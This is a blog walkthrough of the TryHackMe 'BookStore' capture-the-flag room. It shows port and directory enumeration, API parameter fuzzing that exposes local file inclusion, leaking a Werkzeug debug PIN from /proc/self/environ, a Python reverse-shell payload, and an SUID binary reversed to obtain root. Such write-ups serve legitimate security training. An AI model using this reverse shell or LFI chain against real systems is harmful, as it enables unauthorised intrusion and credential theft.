Tryhackme: BookStore — WalkThrough - CyberSec Nerds

Tryhackme: BookStore — WalkThrough

Today, we will be doing BookStore from TryHackMe which is labeled as an intermediate-level room that aims at teaching web enumeration, local file inclusion, API parameter fuzzing, SUID exploitation, and binary reversing. Without further ado, let’s connect to our THM OpenVPN network and start hacking!!!

Enumerating Open Ports

{kiran@parrot} ~$ nmap -p- --min-rate 10000 -oN ~/Desktop/nmap 
Starting Nmap 7.80 ( ) at 2021-04-19 07:09 +0545
Warning: giving up on port because retransmission cap hit (10).
Nmap scan report for
Host is up (0.19s latency).
Not shown: 63664 closed ports, 1868 filtered ports
22/tcp open ssh
80/tcp open http
5000/tcp open upnp

Nmap done: 1 IP address (1 host up) scanned in 42.70 seconds

Three ports (22,80 and 5000) were found to be open.

Detailed Nmap Scan

{kiran@parrot} ~$ nmap -A -p 22,80,5000 
Starting Nmap 7.80 ( ) at 2021-04-19 08:31 +0545
Nmap scan report for
Host is up (0.29s latency).

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| 256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
|_ 256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-robots.txt: 1 disallowed entry
|_/api </p>
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 17.29 seconds

Port 5000 looks interesting. Also its robots.txt says there is one disallowed entry /api. I will come back later at this port after I finish scanning port 80.

Port 80

This is the landing page of the website.

And after hopping to books.html, we see descriptions for random 4 books.

Lets scan for the hidden directories using the gobuster tool.

Directory Bruteforcing

{kiran@parrot} ~$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,html
[+] Timeout: 10s
2021/04/19 07:39:11 Starting gobuster
/images (Status: 301)
/index.html (Status: 200)
/login.html (Status: 200)
/books.html (Status: 200)
/assets (Status: 301)
/javascript (Status: 301)

After checking inside the assets/js folder, I found api.js file which seems juicy to me. The contents of the file is given below.

function getAPIURL() {
var str = window.location.hostname;
str = str + ":5000"
return str;


async function getUsers() {
    var u=getAPIURL();
    let url = 'http://' + u + '/api/v2/resources/books/random4';
    try {
        let res = await fetch(url);
	return await res.json();
    } catch (error) {

async function renderUsers() {
    let users = await getUsers();
    let html = '';
    users.forEach(user => {
        let htmlSegment = `<div class="user">
	 	        <h2>Title : ${user.title}</h3> <br>
                        <h3>First Sentence : </h3> <br>
                        <h1>Author: ${} </h1> <br> <br>        

        html += htmlSegment;
    let container = document.getElementById("respons");
    container.innerHTML = html;
//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.

According to the comment, the previous version of the API(currently v2) is vulnerable to Local File Inclusion attacks. In my guess, it might be named v1. We will come at that later.

Port 5000

It seems like this port is running the API functionality.

I am using FFUF tool for scanning the directories inside web-server at port 5000.

{kiran@parrot} ~$ ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u -s
api [Status: 200, Size: 825, Words: 82, Lines: 12]
console [Status: 200, Size: 1985, Words: 411, Lines: 53]

We had already discovered the api endpoint from the nmap scan. There is also console endpoint we just found from the above scan.


We found the documentation for v2 API. GET parameters are also supported by the API. Now comes the exciting part i.e, exploitation. We need to find that parameter in v1 which was actually vulnerable to LFI. It’s time to spin up FFUF again.

API Parameter Fuzzing

{kiran@parrot} ~$ ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u ""

show‘ parameter looks suspicious to me since it was not present in the documentation. Lets try LFI using this parameter.

Local File Inclusion

{kiran@parrot} ~$ curl ""  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin

Voila! It worked. Next I tried to read the SSH private key of user sid but it gave error.

Why not try fuzzing the show parameter with other LFI payloads?


LFI Payloads Testing

{kiran@parrot} ~$ ffuf -c -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u ""
/etc/apt/sources.list [Status: 200, Size: 3023, Words: 310, Lines: 56]
/etc/fstab [Status: 200, Size: 463, Words: 68, Lines: 11]
/etc/group [Status: 200, Size: 709, Words: 1, Lines: 56]
/etc/crontab [Status: 200, Size: 722, Words: 103, Lines: 16]
/etc/apache2/apache2.conf [Status: 200, Size: 7224, Words: 1, Lines: 1]
/etc/resolv.conf [Status: 200, Size: 749, Words: 98, Lines: 20]
/etc/rpc [Status: 200, Size: 887, Words: 36, Lines: 41]
/etc/ssh/sshd_config [Status: 200, Size: 3264, Words: 294, Lines: 123]
/etc/updatedb.conf [Status: 200, Size: 403, Words: 42, Lines: 5]
/proc/interrupts [Status: 200, Size: 1773, Words: 695, Lines: 41]
/proc/loadavg [Status: 200, Size: 26, Words: 5, Lines: 2]
/proc/mounts [Status: 200, Size: 2269, Words: 156, Lines: 32]
/proc/net/arp [Status: 200, Size: 156, Words: 79, Lines: 3]
/proc/net/dev [Status: 200, Size: 446, Words: 248, Lines: 5]
/proc/net/route [Status: 200, Size: 512, Words: 290, Lines: 5]
/proc/partitions [Status: 200, Size: 119, Words: 46, Lines: 6]
/proc/self/cmdline [Status: 200, Size: 34, Words: 1, Lines: 1]
/proc/self/environ [Status: 200, Size: 210, Words: 1, Lines: 1]
/proc/version [Status: 200, Size: 152, Words: 17, Lines: 2]
/proc/net/tcp [Status: 200, Size: 21300, Words: 8486, Lines: 143]

After manually checking all these files, I found some sensitive information inside /proc/self/environ file. The DEBUG_PIN for the console was laying around. This is Sensitive File Disclosure.

{kiran@parrot} ~$ curl "" --output -

Let’s use this pin to enter inside the debug console.

Inside this interactive console, we can run arbitrary python expressions we like in the context of the running web application. Lets try to obtain the reverse shell in our local machine.

Reverse Shell

This is the payload I used to obtain the shell back to my machine.

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);

Obtaining the user flag

A binary file named try-harder was also laying around with its SUID bit set ON. If only we could reverse this and find some misconfigurations inside this binary file, we can obtain the root shell of the machine.

I will be transferring this file to my local machine so that I can analyze it using ghidra. I accomplished this using http.server in the remote machine and wget in my local machine.

This is the decompiled C code from ghidra. Lets have a code review.

void main(void)
long in_FS_OFFSET;
uint local_1c;
uint local_18;
uint local_14;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_18 = 0x5db3;
puts("What\'s The Magic Number?!");
local_14 = local_1c ^ 0x1116 ^ local_18;
if (local_14 == 0x5dcd21f4) {
system("/bin/bash -p");
else {
puts("Incorrect Try Harder");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */

The main logic in this code is checking the value of local_14 variable and if it equals 0x5dcd21f4, then the root user’s bash will pop out. There is a bit of maths here. ^ represents bit-wise XOR. local_1c is the value we input in the terminal.

local_14 = local_1c ^ 0x1116 ^ local_18; //Let's solve the maths
or, 0x5dcd21f4 = local_1c ^ 0x1116 ^ 0x5db3; //Substituting values for local_14 & local_18
or, 0x5dcd21f4 = local_1c ^ 0x5ca5;
or, 0x5dcd21f4^0x5ca5 = local_1c ^ 0x5ca5^0x5ca5;
Therefore, local_1c = 1573743953

We found that magic number. Let’s go to get the root.

Privilege Escalation

Now we can access the root.txt at /root folder.

Such a nice box. Happy Hacking!!!

Kiran Dawadi

Founder of Electronics Engineer by profession, Security Engineer by passion. I am a Linux Enthusiast and highly interested in the offensive side of the CyberSec industry. You will find me reading InfoSec blogs most of the time.

Notify of
Inline Feedbacks
View all comments